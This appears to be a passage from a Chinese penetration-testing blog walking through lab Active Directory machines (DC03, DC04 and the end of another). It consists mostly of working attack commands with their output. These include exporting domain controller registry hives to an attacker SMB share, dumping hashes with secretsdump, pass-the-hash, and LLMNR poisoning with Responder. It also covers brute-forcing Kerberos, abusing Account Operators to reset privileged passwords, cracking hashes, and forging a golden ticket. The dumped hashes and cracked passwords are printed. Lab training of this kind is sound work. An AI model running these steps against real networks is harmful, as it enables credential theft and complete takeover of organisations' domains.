ldapsearch -x -H ldap://192.168.219.240 -D "zximena448@SOUPEDECODE.LOCAL" -w 'internet' -b 'DC=SOUPEDECODE,DC=LOCAL' "sAMAccountName=zximena448" memberOf > ldap_result.txt

image-20251025211415485

-x 使用简单认证(非 SASL 认证),适合用用户名 / 密码登录。
-H ldap://192.168.215.25 指定 LDAP 服务器地址(这里是域控的 IP)。
-D "zximena448@SOUPEDECODE.LOCAL" 绑定的用户 DN(用户名),即使用 zximena448 的凭证登录 LDAP。
-w 'jesuschrist' 绑定用户的密码(zximena448 的密码)。
-b 'DC=SOUPEDECODE,DC=LOCAL' 查询的基准 DN(域的根目录),即从整个域范围查询。
"sAMAccountName=zximena448" 过滤条件:只查询 sAMAccountNamezximena448 的用户(精准定位自身)。
memberOf 只返回该用户的 memberOf 字段(即所属的组)。
> ldap_result.txt 将结果输出到文件,方便查看。

发现zximena448 属于 Backup Operators 组,Backup Operators 是 Windows 域内置的特权组,默认被赋予了 “备份 / 恢复域控系统数据” 的核心权限,而 “备份数据” 的权限恰好覆盖了域控的敏感文件(如存储账号哈希的 NTDS.dit、注册表 SAM/SYSTEM 等)。

攻击方式:

在 Kali 上启动 SMB 服务,用于接收从目标机器导出的敏感文件(如注册表备份)。

impacket-smbserver -smb2support "share" .

前提:Kali 的 SMB 端口(445)未被占用,且目标域控能访问 Kali 的 IP(网络连通性)。

原理:通过 SMB 协议实现文件共享,方便接收从目标导出的备份文件。

image-20251024194044747

12.11 导出注册表备份文件

通过 impacket-reg 从域控(192.168.219.240)导出 SYSTEM/SAM/SECURITY 注册表文件(含加密的凭证信息)。

impacket-reg "soupedecode.local"/"zximena448":"internet"@"192.168.219.240" backup -o '\\192.168.219.37\share'

前提:拥有的域用户(zximena448)需具备读取域控注册表的权限(普通用户可能无此权限,此处可能因目标配置宽松成功)。

原理:通过远程注册表服务导出系统关键注册表文件。

image-20251024194031351

此时smb服务的回显,备份文件,从域控服务器中传过来成功

搭建 SMB 共享 + 导出注册表备份

目的:SYSTEM/SAM/SECURITY 注册表文件存储了系统加密的凭证(用户哈希、机器账户哈希等),导出后可离线解密。

必要性:直接在域控上提取哈希可能触发告警,通过备份文件离线处理更隐蔽。

image-20251024194057212

就能看到开启smb共享文件夹的路径下面多了几个文件

image-20251024194415552

12.12 用 secretsdump.py 解密备份文件

提取本地管理员哈希和机器账户(DC01$)哈希。

目的:从备份文件中提取可直接用于攻击的哈希值(如 DC01$ 机器账户哈希、本地管理员哈希)。

必要性:原始注册表文件是加密的,必须用 secretsdump 结合 bootKey 解密才能得到可用的哈希。

python /usr/share/doc/python3-impacket/examples/secretsdump.py -system SYSTEM.save -sam SAM.save -security SECURITY.save local

image-20251024194359305

前提:获取 SYSTEM/SAM/SECURITY 备份文件(本地解密),或拥有目标机器的管理员权限 / 机器账户哈希(远程导出)。

原理:利用 Windows 的加密机制,通过 bootKey 解密哈希存储区。

┌──(root㉿kali)-[/data/demo]
└─# python /usr/share/doc/python3-impacket/examples/secretsdump.py -system SYSTEM.save -sam SAM.save -security SECURITY.save local
Impacket v0.13.0.dev0 - Copyright Fortra, LLC and its affiliated companies

[*] Target system bootKey: 0x0c7ad5e1334e081c4dfecd5d77cc2fc6
[*] Dumping local SAM hashes (uid:rid:lmhash:nthash)
Administrator:500:aad3b435b51404eeaad3b435b51404ee:209c6174da490caeb422f3fa5a7ae634:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
DefaultAccount:503:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
[*] Dumping cached domain logon information (domain/username:hash)
[*] Dumping LSA Secrets
[*] $MACHINE.ACC
$MACHINE.ACC:plain_password_hex:45820dc9be5c067950d71e306d3d14084a9a8a3f8e99d7c1f6074080bec85f7c2645011e654397553bc7cad19277e361caaee722709bdaf3bbcbd9f2d0c73b8cf27651387c664ede1f3f7d6845f7d14293fdbcda34eb89d5c665de89860a23833a531ee43e6841b586896e6dbef6ac4e16196af3c6e2070ca148d032697b02bca95820d079296377ba4df3c4201dd419d89b9357bf470139b53d31761452e0f94ae9273a16c3d43ae2404740b5ac085992a092187c1fc6a59d5edb24e8cd8aae2575639cadc4cc18c7c5e5e07f5bf06a6154bb92a1dbcbf00f5b6b3171cd5df73121e0afca158f50df3f3db64c9dad11
$MACHINE.ACC: aad3b435b51404eeaad3b435b51404ee:4408da87fddde5ecdffe27d1d8255bc1
[*] DPAPI_SYSTEM
dpapi_machinekey:0x829d1c0e3b8fdffdc9c86535eac96158d8841cf4
dpapi_userkey:0x4813ee82e68a3bf9fec7813e867b42628ccd9503
[*] NL$KM
0000   44 C5 ED CE F5 0E BF 0C  15 63 8B 8D 2F A3 06 8F   D........c../...
0010   62 4D CA D9 55 20 44 41  75 55 3E 85 82 06 21 14   bM..U DAuU>...!.
0020   8E FA A1 77 0A 9C 0D A4  9A 96 44 7C FC 89 63 91   ...w......D|..c.
0030   69 02 53 95 1F ED 0E 77  B5 24 17 BE 6E 80 A9 91   i.S....w.$..n...
NL$KM:44c5edcef50ebf0c15638b8d2fa3068f624dcad95520444175553e85820621148efaa1770a9c0da49a96447cfc896391690253951fed0e77b52417be6e80a991
[*] Cleaning up...

12.13 哈希传递攻击(PTH)

目的:无需明文密码,直接用哈希值认证并横向移动到域控(DC01$ 是域控的机器账户,默认有高权限)。

必要性:多数情况下无法获取明文密码,PTH 是域内横向的核心手段。

前提:目标开启 SMB 服务(445 端口),且未禁用 NTLM 认证(默认启用)。

原理:通过 NTLM 协议,用哈希替代明文密码完成认证。

nxc 验证 DC01$ 哈希的有效性,确认可横向到域控。

nxc smb 192.168.219.240 -u target_users.txt -H 4408da87fddde5ecdffe27d1d8255bc1

image-20251024202518610

DC01$ 哈希通过 secretsdump.py 导出域内所有用户哈希(包括 Administrator)。

通过 DC01$ 权限导出域内所有用户哈希(包括 Administrator),最终用管理员权限登录域控,实现对整个域的控制。

python /usr/share/doc/python3-impacket/examples/secretsdump.py soupedecode.local/'DC01$'@192.168.219.240 -hashes :4408da87fddde5ecdffe27d1d8255bc1

image-20251024203127596

12.14 完成渗透

Administrator 哈希通过 evil-winrm 登录域控,完成渗透。

前提:域控开启 WinRM 服务(5985/5986 端口),且拥有管理员级别的哈希或明文密码

原理:通过 WinRM 协议远程执行命令,类似 SSH 但针对 Windows。

evil-winrm -i 192.168.219.240 -u Administrator -H 8982babd4da89d33210779a6c5b078bd

image-20251024203428369

12.15 总结

从用户枚举到密码爆破获取初始凭证,通过AS-REP Roasting获取更高权限账户,利用注册表备份提取机器账户哈希,最终通过哈希传递攻击实现域控完全控制。

13、DC03 :中等

13.1 外网打点

nmap -sS -p- -T4 192.168.215.185  | grep -E '^[0-9]+/tcp' | awk -F '/' '{print $1}' | tr '\n' ',' | sed 's/,$//'

image-20251025172417166

卧槽什么都没有,这怎么打?

nmap -sS -p 53,13487,65005 -T4 192.168.215.185 -A

image-20251025172901379

扫错了,哈哈哈哈,靶机重启,原来是我换wifi了

image-20251025173348654

再来

nmap -sS -p- -T4 192.168.215.25  | grep -E '^[0-9]+/tcp' | awk -F '/' '{print $1}' | tr '\n' ',' | sed 's/,$//'

image-20251025173328229

nmap -sS -p 53,88,135,139,389,445,464,593,636,3268,3269,5985,9389,49664,49668,49672,49685 -T4 192.168.215.25 -A

image-20251025182318817

根据上面的dc2靶场进行信息收集一波,ldap协议是开启着的,还有smb协议

enum4linux-ng -A 192.168.215.25 -C

image-20251025184712006

13.2 尝试使用匿名登录

smb匿名连接

image-20251025185231389

13.3 kerberos 用户名枚举

kerbrute userenum -d SOUPEDECODE.LOCAL /data/SecLists_Dict/Usernames/xato-net-10-million-usernames.txt --dc 192.168.215.25

image-20251025192627016

image-20251025192716649

charlie
administrator
wreed11
webserver

爆破smb

nxc smb 192.168.215.25 -u user -p user

image-20251025192853950

13.4 爆破 kerberos 协议

kerbrute bruteuser --dc 192.168.215.25 -d SOUPEDECODE.LOCAL /data/SecLists_Dict/Usernames/xato-net-10-million-usernames.txt wreed11
kerbrute bruteuser --dc 192.168.215.25 -d SOUPEDECODE.LOCAL /data/SecLists_Dict/Usernames/xato-net-10-million-usernames.txt charlie

三个用户接失败

image-20251025195739242

13.4 LLMNR 投毒攻击

13.4.1 具体流程

骗取目标设备的账号密码哈希,具体流程如下:

  1. 监听局域网内的 LLMNR 请求:用 Responder(你之前用过的工具)等软件,在攻击机上监听局域网内的 LLMNR 广播;

  2. 伪造响应欺骗目标:当目标设备(比如域内的员工电脑)发起 LLMNR 请求(如解析 \\共享打印机名)时,攻击机抢先回复:“我就是你要找的设备,我的 IP 是攻击机 IP”;

  3. 骗取哈希值:目标设备相信后,会试图用当前登录用户的 “NTLM 哈希” 与攻击机建立连接(比如访问共享文件夹),攻击机就能捕获到这个哈希;

  4. 破解哈希或直接用哈希登录:拿到哈希后,可通过 hashcat 破解成明文密码,或直接用 “哈希传递(PTH)” 登录其他设备。

13.4.2 如何用 LLMNR 拿到域内哈希

比如你在域渗透中,攻击机和目标域内的员工电脑在同一个网段(192.168.215.0/24):

  1. 在 Kali 上启动 Responder,开启 LLMNR 监听:

  2. 员工在电脑上误输入 \\不存在的共享名(比如 \\file-server),DNS 解析失败,触发 LLMNR 广播;

  3. Responder 捕获到这个请求,伪装成 file-server 回复员工电脑;

  4. 员工电脑用当前登录用户(比如 SOUPEDECODE\charlie)的 NTLM 哈希,尝试与攻击机建立 SMB 连接;

  5. Responder 成功捕获到 charlie 的哈希,你后续就可以用这个哈希进行 PTH 攻击,登录其他域内设备。

responder -I eth0 -wd

image-20251025200406604

这里应该是域控靶机的计划任务,所以能拿到hash

image-20251025200445776

拿到这个账号的hash,准备去爆破

image-20251025200519260

[SMB] NTLMv2-SSP Client   : 240a:42c2:802:3c85:e8b7:3202:ffea:f6fd
[SMB] NTLMv2-SSP Username : SOUPEDECODE\DC01$
[SMB] NTLMv2-SSP Hash : DC01$::SOUPEDECODE:b7c95f1435ed324f:38D48E36709F60B6B02218D61D394294:010100000000000000A791D28545DC0159ED6A549FAD342D0000000002000800330037005300330001001E00570049004E002D005500350050004500330055004F00300044004600550004003400570049004E002D005500350050004500330055004F0030004400460055002E0033003700530033002E004C004F00430041004C000300140033003700530033002E004C004F00430041004C000500140033003700530033002E004C004F00430041004C000700080000A791D28545DC010600040002000000080030003000000000000000000000000040000033BE778EBDE22DAB53FA856B26B3A1EABC23AFB04656C990D86DF46D0504C4230A0010000000000000000000000000000000000009002C0063006900660073002F0053004F005500500045004400450043004F00440045002E004C004F00430041004C000000000000000000

[SMB] NTLMv2-SSP Client : 240a:42c2:802:3c85:e8b7:3202:ffea:f6fd
[SMB] NTLMv2-SSP Username : soupedecode\xkate578
[SMB] NTLMv2-SSP Hash : xkate578::soupedecode:0215e15662d218c6:75CB92B3BD84CC2BA33FD7549A0D1EA4:010100000000000000A791D28545DC018EC3298268DA333B0000000002000800330037005300330001001E00570049004E002D005500350050004500330055004F00300044004600550004003400570049004E002D005500350050004500330055004F0030004400460055002E0033003700530033002E004C004F00430041004C000300140033003700530033002E004C004F00430041004C000500140033003700530033002E004C004F00430041004C000700080000A791D28545DC010600040002000000080030003000000000000000000000000040000033BE778EBDE22DAB53FA856B26B3A1EABC23AFB04656C990D86DF46D0504C4230A0010000000000000000000000000000000000009001E0063006900660073002F00460069006C0065005300650072007600650072000000000000000000

image-20251025201534254

13.5 smb渗透

找到账号密码,查看smb服务器内有什么东西

xkate578:jesuschrist
smbclient -L //192.168.215.25/ -U xkate578

image-20251025201757032

登录到share共享文件夹,发现user.txt

image-20251025201951227

尝试上传,发现这个用户有上传文件的权限

image-20251025202114822

使用evil-winrm连接失败

evil-winrm -i 192.168.215.25 -u xkate578 -p jesuschrist

image-20251025202647277

13.6 查询域内SPN关联用户

查询寻域内所有关联了SPN的用户(用于发现这些用户的TGS票据,从而破解密码)

image-20251025202855070

13.7 枚举域内用户SID

xkate578这个用户有查看域内SID信息的权限

python /usr/share/doc/python3-impacket/examples/lookupsid.py soupedecode.local/xkate578@192.168.215.25 > results.txt

image-20251025203304124

把这些用户名信息导出为一个用户字典

grep "SidTypeUser" /data/demo/results.txt | awk -F '\\\\' '{print $2}' | awk '{print $1}' | sort -u > /data/demo/target_users.txt

image-20251025203522370

13.8 爆破 kerberos

针对域用户 xkate578 进行 “密码暴力破解” 的操作,核心目的是通过字典攻击尝试获取该用户的明文密码。

ntpdate 192.168.215.25
kerbrute bruteuser --dc 192.168.215.25 -d SOUPEDECODE.LOCAL /data/SecLists_Dict/Usernames/xato-net-10-million-usernames-dup.txt xkate578 -v

image-20251025204105857

13.9 nxc爆破smb

使用nxc内网渗透神器,使用相同的账号密码爆破smb服务器,全部失败

image-20251025204052038

13.10 获取不需要预认证用户的AS-REP哈希

全部没有

impacket-GetNPUsers -dc-ip 192.168.215.25 soupedecode.local/ -usersfile target_users.txt

image-20251025204427190

利用之前得到的密码 xkate578:jesuschrist

ldapsearch -x -H ldap://192.168.215.25 -D "xkate578@SOUPEDECODE.LOCAL" -w 'jesuschrist' -b 'DC=SOUPEDECODE,DC=LOCAL' "sAMAccountName=xkate578" memberOf > ldap_result.txt

image-20251025212947912

参数 作用
-x 使用简单认证(非 SASL 认证),适合用用户名 / 密码登录。
-H ldap://192.168.215.25 指定 LDAP 服务器地址(这里是域控的 IP)。
-D "xkate578@SOUPEDECODE.LOCAL" 绑定的用户 DN(用户名),即使用 xkate578 的凭证登录 LDAP。
-w 'jesuschrist' 绑定用户的密码(xkate578 的密码)。
-b 'DC=SOUPEDECODE,DC=LOCAL' 查询的基准 DN(域的根目录),即从整个域范围查询。
"sAMAccountName=xkate578" 过滤条件:只查询 sAMAccountNamexkate578 的用户(精准定位自身)。
memberOf 只返回该用户的 memberOf 字段(即所属的组)。
> ldap_result.txt 将结果输出到文件,方便查看。

从结果中可以看到这个用户属于Account Operators

作用:

  1. 创建 / 修改 / 删除普通域用户账号可在域内新增用户(如 testuser)、修改现有用户的属性(如密码、登录脚本、所属组等),但不能修改域管理员(Domain Admins)等高级账号

  2. 管理用户组(非特权组)可创建新的普通用户组,或修改普通组的成员(如将 zximena448 加入某个组),但不能修改 Domain AdminsEnterprise Admins 等特权组

  3. 重置普通用户密码可强制重置普通域用户的密码(无需知道原密码),例如将 zximena448 的密码改为 hacked123,进而控制该账号。

  4. 查看域内用户 / 组的详细信息比普通用户拥有更高的 LDAP 查询权限,可获取更多域内账号的属性(如密码过期时间、登录次数等)。

尝试利用net命令和这些凭证,向目标域添加一个用户,然后使用evil-winrm连接的时候,连接不上

net rpc user add "it_support" "ItSupport@123" -U "SOUPEDECODE.LOCAL/xkate578%jesuschrist" -S 192.168.215.25

evil-winrm -i 192.168.215.25 -u it_support -p ‘ItSupport@123’

image-20251025214638339

将用户添加到远程管理组即可使用evil-winrm连接

net rpc group addmem "Remote Management Users" it_support -U "SOUPEDECODE.LOCAL/xkate578%jesuschrist" -S 192.168.215.25

evil-winrm -i 192.168.215.25 -u it_support -p ‘ItSupport@123’

image-20251025214927533

那么尝试添加管理员组呢?很明显,之前已经说过了,Account Operators组的用户,可创建新的普通用户组,或修改普通组的成员(如将 zximena448 加入某个组),但不能修改 Domain AdminsEnterprise Admins 等特权组

image-20251025215008927

再看看管理员组有哪些用户,一个是Operators,一个是Administrator,两个用户属于超级管理员’

ldapsearch -x -H ldap://192.168.215.25 -D "xkate578@SOUPEDECODE.LOCAL" -w 'jesuschrist' -b "DC=SOUPEDECODE,DC=LOCAL" "memberOf=CN=Domain Admins,CN=Users,DC=SOUPEDECODE,DC=LOCAL" sAMAccountName name

image-20251025215554221

从 LDAP 查询结果中,有几个关键线索表明 Operators自定义组而非 Windows 内置组:

Windows 内置操作员组都有特定的前缀:

  • Backup Operators

  • Print Operators

  • Server Operators

  • Account Operators

而这里发现

  • 组名:Operators(没有前缀)

  • 这不符合 Windows 内置组的命名规范

sAMAccountName 分析

ldif

# Operators, Users, SOUPEDECODE.LOCAL
dn: CN=Operators,CN=Users,DC=SOUPEDECODE,DC=LOCAL
name: Operators
sAMAccountName: Operators

关键点

  • sAMAccountName: Operators(没有数字后缀)

  • Windows 内置组通常有特定的 sAMAccountName 格式

  • 例如内置的 Account Operators 的 sAMAccountName 是 Account Operators

另外

# 内置组通常在 Builtin 容器中
dn: CN=Account Operators,CN=Builtin,DC=SOUPEDECODE,DC=LOCAL

我们再来查看自定义组中有哪些用户

ldapsearch -x -H ldap://192.168.215.25 -D "xkate578@SOUPEDECODE.LOCAL" -w 'jesuschrist' -b "DC=SOUPEDECODE,DC=LOCAL" "(&(objectClass=user)(memberOf=CN=Operators,CN=Users,DC=SOUPEDECODE,DC=LOCAL))" sAMAccountName name

image-20251025223326512

# Account Operators 不能重置这些直接组成员的密码:
- 直接属于 Administrators 的用户
- 直接属于 Domain Admins 的用户

# 但可以重置这些用户的密码:
– 通过组嵌套获得管理员权限的用户
– 属于自定义管理组的用户

再不清楚,就是这个链路

Domain Admins (域管理员组)
↑ 包含
Operators (自定义管理组)
↑ 包含
fbeth103 (普通用户)

xkate578 (Account Operators) → 可以重置 fbeth103 密码

开始修改密码(回家重装了靶机,ip变了)

net rpc user password "fbeth103" "P@ssw0rd123" -U "SOUPEDECODE.LOCAL/xkate578%jesuschrist" -S 192.168.0.102

# 或者
[root@kali] /home/kali/DC03
❯ rpcclient -U “xkate578″ –password=”jesuschrist” 192.168.56.126 ⏎
rpcclient $> setuserinfo2 fbeth103 23 “Pass1234!”
rpcclient $>

# 然后连接
evil-winrm -i 192.168.0.102 -u fbeth103 -p ‘P@ssw0rd123’

image-20251026121138083

此时就已经得到了最后的root.txt内容

image-20251026121237625

它这个自定义既然组隶属于管理员组,那我们是不是能利用这个fbeth103用户去修改管理员的账号密码呢?现在试试

┌──(root㉿kali)-[~]
└─# net rpc user password "Administrator" "NewAdminPass123" -U "SOUPEDECODE.LOCAL/fbeth103%P@ssw0rd123" -S 192.168.0.102

┌──(root㉿kali)-[~]
└─# evil-winrm -i 192.168.0.102 -u Administrator -p ‘NewAdminPass123’

Evil-WinRM shell v3.7

Warning: Remote path completions is disabled due to ruby limitation: undefined method `quoting_detection_proc’ for module Reline

Data: For more information, check Evil-WinRM GitHub: https://github.com/Hackplayers/evil-winrm#Remote-path-completion

Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\Administrator\Documents> whoami
soupedecode\administrator

image-20251026121610414

成功修改!都不需要去PTH(哈希传递攻击)了

13.11 PTH攻击(hash传递)

Secretdump

获取域内hash

impacket-secretsdump 'SOUPEDECODE.LOCAL/fbeth103:P@ssw0rd123'@192.168.0.102

image-20251026133454633

image-20251026133405385

13.12 工具推荐 ldapdomaindump

除了ldapsearch工具之外,还有一个工具也可以看域内组织情况,叫做ldapdomaindump

ldapdomaindump -u "SOUPEDECODE.LOCAL\fbeth103" -p P@ssw0rd123 192.168.0.102

image-20251026134136619

在生成的domain_groups.html中也能看到Operators属于Domain Admins组

image-20251026134121144

从这里也能看到fbeth103属于Operators组

image-20251026134652030

用这个工具更为方便

13.13 DC03 域渗透总结

本次 DC03 域渗透从外网打点开始,先通过 nmap 扫描确定目标为域控制器,开启 53、88、139、445、389 等关键端口。匿名登录 SMB 失败后,用 kerbrute 枚举到 charlie、administrator 等用户,爆破无果后通过 Responder 进行 LLMNR 投毒,捕获到 xkate578 的 NTLM 哈希并破解出密码。

利用 xkate578(属 Account Operators 组)的账号管理权限,先创建影子账号并加入远程管理组,成功登录后枚举域内用户,发现自定义组 Operators 隶属于 Domain Admins,且包含用户 fbeth103。

重置 fbeth103 密码并登录,利用其间接域管理员权限,成功修改 Administrator 密码,获取域控最高权限,最终找到 root.txt,全程未依赖复杂漏洞,主要通过权限嵌套与凭据复用推进。

14、DC04:难

14.1 外网打点

nmap -sS -p- -T4 192.168.0.103  | grep -E '^[0-9]+/tcp' | awk -F '/' '{print $1}' | tr '\n' ',' | sed 's/,$//'

image-20251026135129343

nmap -sS -p 53,80,88,135,139,389,445,464,593,636,3268,3269,5985,9389,49664,49667,49680,49710,49765  -T4 192.168.0.103 -A

image-20251026160719679

自动重定向到这个域名

image-20251026162120656

编辑下面的文件,将ip和域名加入进去

# windows
C:\Windows\System32\drivers\etc\hosts

image-20251026162259656

linux也要,不然扫描不到东西,这里他变成了重定向次数过多,而不是之前的无法访问网站

echo "192.168.0.103 soupedecode.local" >> /etc/hosts

image-20251026163027944

使用dir进行目录扫描,扫出来一个这个目录

dirb http://soupedecode.local

image-20251026163314298

还有一个服务器信息

http://soupedecode.local/server-info

image-20251026163438024

这里有一个服务版本,可以使用searchsploit检索一下(没有发现任何有用的东西)

image-20251026163512876

我们一直往下翻,翻到了这个东西

image-20251026165343196

继续将这个域名添加到hosts中,就可以访问站点了,是一个登录框

image-20251026164650358

14.2 后台爆破

打开burp,fuzz sql注入、xss字典,都没有结果,使用相同的账号密码字典爆破也没有结果

image-20251026170055397

继续信息收集

smbclient -L //192.168.0.103/ -N

image-20251026171530662

后续也尝试了各种枚举,也没有东西。。。。。。

后边去看了看别人写的,就是这个机子很容易出问题,爆破几次后,后面怎么爆破都是403了

最后爆破出来账号密码是 admin:nimda

登录成功后会要求你输入ip地址

image-20251026175854648

可能是命令执行,但是尝试各种命令执行都失败了,只要和|&相关的都不行,看来是做了过滤

【RCE剖析】从0-1讲解RCE漏洞绕过,Windows与Linux/RCE漏洞绕过方式总结—-实战解析

image-20251026180442907

14.3 LLMNR

那就来试试DC3的LLMNR,我们在这个输入框里输入kali的ip地址

responder -I eth0 -wd

image-20251026180801305

echo "websvc::soupedecode:e2985b38b501aed2:E5E63AAD4B475A06D1ECE4C7F78A2E60:010100000000000080646EFE3946DC01F711F570D52509F5000000000200080045004B0042004F0001001E00570049004E002D0043003700380051004F0038004100440032003100490004003400570049004E002D0043003700380051004F003800410044003200310049002E0045004B0042004F002E004C004F00430041004C000300140045004B0042004F002E004C004F00430041004C000500140045004B0042004F002E004C004F00430041004C000700080080646EFE3946DC01060004000200000008003000300000000000000000000000004000005C18B02FEAC5263030D32A3F0BCCDD51E0CAD786D3DFBABF65601AC3E74CE55D0A001000000000000000000000000000000000000900240063006900660073002F003100390032002E003100360038002E0030002E003100340038000000000000000000" > hash

john hash –wordlist=/usr/share/wordlists/rockyou.txt

image-20251026180920963

websvc:jordan23

密码已过期,应该知道怎么搞了吧

image-20251026181305721

14.5 近源攻击!

按住esc进入选择用户界面,然后根据步骤一步一步走

image-20251026181655368

输入原来的账号密码

image-20251026182014363

选择ok,说明你密码输入对了

image-20251026182027165

随后就可以修改你的账号密码了

14.6 smb信息收集

账号密码 websvc:jordan23

smbclient -L //192.168.0.103 -U "SOUPEDECODE.LOCAL/websvc%admin123"

image-20251026182325492

在c盘找到第一个flag

smbclient //192.168.0.103/C -U "SOUPEDECODE.LOCAL/websvc%admin123"

image-20251026182515171

14.7 查询域内SPN关联用户

有了域内的账号密码,再来看看SPN,查询域内所有关联了 SPN 的用户,用来获取他们的凭据,没有结果

image-20251026183017317

14.8 枚举域内用户SID

python /usr/share/doc/python3-impacket/examples/lookupsid.py soupedecode.local/websvc@192.168.0.103 > users

grep “SidTypeUser” /data/demo/users | awk -F ‘\\\\’ ‘{print $2}’ | awk ‘{print $1}’ | sort -u > /data/demo/target_users.txt

image-20251026183230291

14.9 获取不需要预认证用户的AS-REP哈希

结果没有

impacket-GetNPUsers -dc-ip 192.168.0.103 soupedecode.local/ -usersfile target_users.txt > hash

cat hash | grep +

image-20251026183433374

14.10 ldapdomaindump

收集 LDAP 信息,获取域内用户列表、权限分组(如 Domain Admins)、账号状态(启用 / 禁用),锁定高价值目标(如 Administrator)。

ldapdomaindump -u "SOUPEDECODE.LOCAL\websvc" -p admin123 192.168.0.103

python -m http.server

image-20251026183800160

访问8000端口,看到用户不属于任何特权组,仅仅是普通用户

image-20251026184425516

仔细翻翻看,找到一个默认的账号密码

rtina979 :Z~l3JhcV#7Q-1#M

image-20251026192658508

同样的密码过期,需要近源攻击!

smbclient //192.168.0.103/C$ -U "SOUPEDECODE.LOCAL/rtina979%Z~l3JhcV#7Q-1#M"

image-20251026192844246

这里给你们一张表,输入清楚了哈,我输了十多遍,艹

image-20251026195819248

14.11 二次smb信息收集

此时就能正常登录了

image-20251026195909449

rtina979用户的Documents文件夹里找到一个rar压缩包,把它下载下来

image-20251026200335730

解压需要密码

image-20251026200441549

fcrackzip 工具只能用于破解 ZIP 文件,而我们的文件是 RAR 格式。

使用 rar2john 将 RAR 文件转换为 John the Ripper 可识别的哈希格式。

提取哈希:

rar2john Report.rar > report_hash.txt

使用字典攻击(使用 rockyou.txt):

john --wordlist=/usr/share/wordlists/rockyou.txt report_hash.txt

image-20251026200955455

解压,输入密码PASSWORD123

image-20251026201321041

解压出来会发现当前目录有一个htm文件是一个渗透测试报告

image-20251026201946974

在这个报告最后,能看到krbtgt的hash内容

image-20251026202427239

14.12 黄金票据攻击

条件:

  1. 获取 KRBTGT 账户哈希 – 通过 DCSync 或其他方式

  2. 获取域 SID – 通过 LDAP 或 SMB 枚举

  3. 知道域名 – 目标域的完整名称

获取到了KRBTGT哈希 先验证一下是否是正确的,红色代表失败,紫色代表hash正确,或者账户禁用,或者密码过期等等

0f55cdc40bd8f5814587f7e6b2f85e6f

image-20251026203004700

14.12.1 获取域SID

域SID为:S-1-5-21-2986980474-46765180-2505414164

python /usr/share/doc/python3-impacket/examples/lookupsid.py soupedecode.local/rtina979@192.168.0.103

image-20251026203304276

14.12.2 同步域时间

在平时可能会遇到kali和靶机的时间一直都不同步,怎么使用ntpdate或者其他时间同步工具,就是同步不起来,就需要使用下面第一行的命令了

systemctl stop systemd-timesyncd # 停止自动时间同步服务
ntpdate 192.168.0.103 # 强制同步时间

image-20251026203513156

14.12.3 生成管理员的黄金票据

impacket-ticketer -nthash 0f55cdc40bd8f5814587f7e6b2f85e6f -domain-sid S-1-5-21-2986980474-46765180-2505414164 -domain soupedecode.local  administrator

image-20251026211747709

14.12.4 导入票据到环境变量

export KRB5CCNAME=administrator.ccache

image-20251026211809702

14.12.5 使用票据

impacket-wmiexec soupedecode.local/administrator@dc01.soupedecode.local -k -target-ip 192.168.0.103

image-20251026204909274

image-20251026205109887

至此渗透完成啦

14.13 总结

DC04 域渗透从外网打点起步,nmap 扫描发现目标开放 80、88、445 等端口,访问 80 端口需配置 hosts 解析域名,目录扫描找到后台登录页。爆破无果后,利用后台 IP 输入框发起 LLMNR 投毒,捕获 websvc 用户哈希并破解密码,通过近源攻击修改过期密码。

登录 SMB 获取首个 flag 后,枚举域用户发现 rtina979 账号及密码,再次近源攻击修改密码。登录其 SMB 下载加密压缩包,破解后得到渗透报告,从中提取 krbtgt 用户哈希。

获取域 SID 并同步时间后,生成 Administrator 黄金票据,导入环境变量后通过 wmiexec 成功登录域控,获取最高权限,全程依赖凭据获取与票据攻击,突破多重限制完成渗透。

15、广告时间

点击即达

16e78526f720250621235131

16、往期推荐

新版BurpSuite v2025.6.3汉化版,附激活教程

Fine!2025最新款信息收集综合工具

若依Vue漏洞检测工具v7更新

最好用的下一代目录爆破工具,全方位的目录爆破

集成MemProcFS,Vol2和Vol3的内存取证神器

重大更新!FeatherScan v4.5 内网 linux 信息收集,提权一键梭哈神器

x-waf,一个基于fuzz的waf绕过渗透工具

这10款内网穿透工具,一定有你没用过的

红队命令速查手册

挖SRC必须知道的25个漏洞提交平台

挖SRC必须知道的25个漏洞提交平台

FeatherScan v4.0 – 一款Linux内网全自动信息收集工具

掩日-适用于红队的综合免杀工具

2025最新渗透测试靶场推荐

近400个渗透测试常用命令,信息收集、web、内网、隐藏通信、域渗透等等

【内网渗透】隐藏通信隧道技术

内网渗透必备,microsocks,一个轻量级的socks代理工具

神器分享 红队快速打点工具-DarKnuclei

红日靶场5,windows内网渗透,社工提权,多种域内横向移动思路

【渗透测试】DC1~9(全) Linux提权靶机渗透教程,干货w字解析,建议收藏

【OSCP】 Kioptrix 提权靶机(1-5)全系列教程,Try Harder!

一个永久的渗透知识库

【oscp】vulnerable_docker,三种代理方法打入内网

【内网渗透】CobaltStrike与MSF联动互相上线的方式

内网渗透必备,microsocks,一个轻量级的socks代理工具

【OSCP】 Kioptrix 提权靶机(1-5)全系列教程,Try Harder!绝对干货!

DC-2综合渗透,rbash逃逸,git提权,wordpress靶场渗透教程

【渗透测试】12种rbash逃逸方式总结

红日靶场5,windows内网渗透,社工提权,多种域内横向移动思路

红日靶场3,joomla渗透,海德拉SMB爆破,域内5台主机横向移动教学

不用MSF?红日靶场4,从外网到域控,手工干永恒之蓝,教科书级渗透教学

ATK&CK红日靶场二,Weblogic漏洞利用,域渗透攻略

sql注入中各种waf的绕过方式,狗,盾,神,锁,宝

利用MySQL特性,WAF绕过技巧

SQL注入绕过某狗的waf防火墙,这一篇就够了,6k文案超详细

大型翻车现场,十种waf绕过姿势,仅成功一种

喜欢长文吗?1w字图文带你了解sqlmap,从0到1,WAF绕过,高级用法一文通透

 

本站内容部分转载于互联网,并不代表本站立场!如若本站内容侵犯了原著者的合法权益,可联系我们进行处理! 拒绝任何人以任何形式在本站发表与中华人民共和国法律相抵触的言论!
THE END
喜欢就支持一下吧
点赞15 分享
评论 抢沙发
头像
欢迎您留下宝贵的见解!
提交
头像

昵称

取消
昵称表情代码图片快捷回复

    暂无评论内容